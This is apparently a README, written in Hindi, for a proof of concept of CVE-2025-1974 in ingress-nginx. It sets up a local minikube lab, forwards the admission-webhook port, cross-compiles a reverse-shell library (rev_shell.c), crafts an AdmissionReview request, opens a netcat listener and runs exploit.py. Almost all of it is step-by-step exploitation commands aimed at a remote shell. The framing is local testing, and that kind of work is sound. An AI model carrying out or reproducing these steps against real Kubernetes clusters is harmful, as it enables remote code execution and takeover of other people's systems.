
CVE-2025-1974 PoC कोड
स्थानीय परीक्षण के लिए minikube स्थापित करें
minikube start --driver=docker
निम्नलिखित कमांड से ingress-nginx-controller कॉन्फ़िगर करें
kubectl apply -f ingress-nginx-controller.yml
जांचें कि Pods सही ढंग से काम कर रहे हैं
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Pods के 80, 8443 (webhook) पोर्ट को स्थानीय 8888, 1337 पोर्ट पर पोर्ट फॉरवर्ड करें (पोर्ट फॉरवर्डिंग 80 और 8443 दोनों आवश्यक हैं)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
rev_shell.c में रिवर्स शेल से जुड़े IP, पोर्ट बदलें
MacOS (arm64) वातावरण में संकलित करें, परीक्षण वातावरण के अनुसार संकलित करना आवश्यक है
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# क्रॉस-कंपाइलर स्थापित करें
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
kube-review के साथ AdmissionReview प्रारूप में बदलें (json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
रिवर्स शेल के लिए nc के साथ रिवर्स शेल कनेक्शन तैयार करें
nc -lv 4444
exploit.py में nginx, webhook के होस्ट और पोर्ट को संशोधित करने के बाद चलाएं
python3 exploit.py
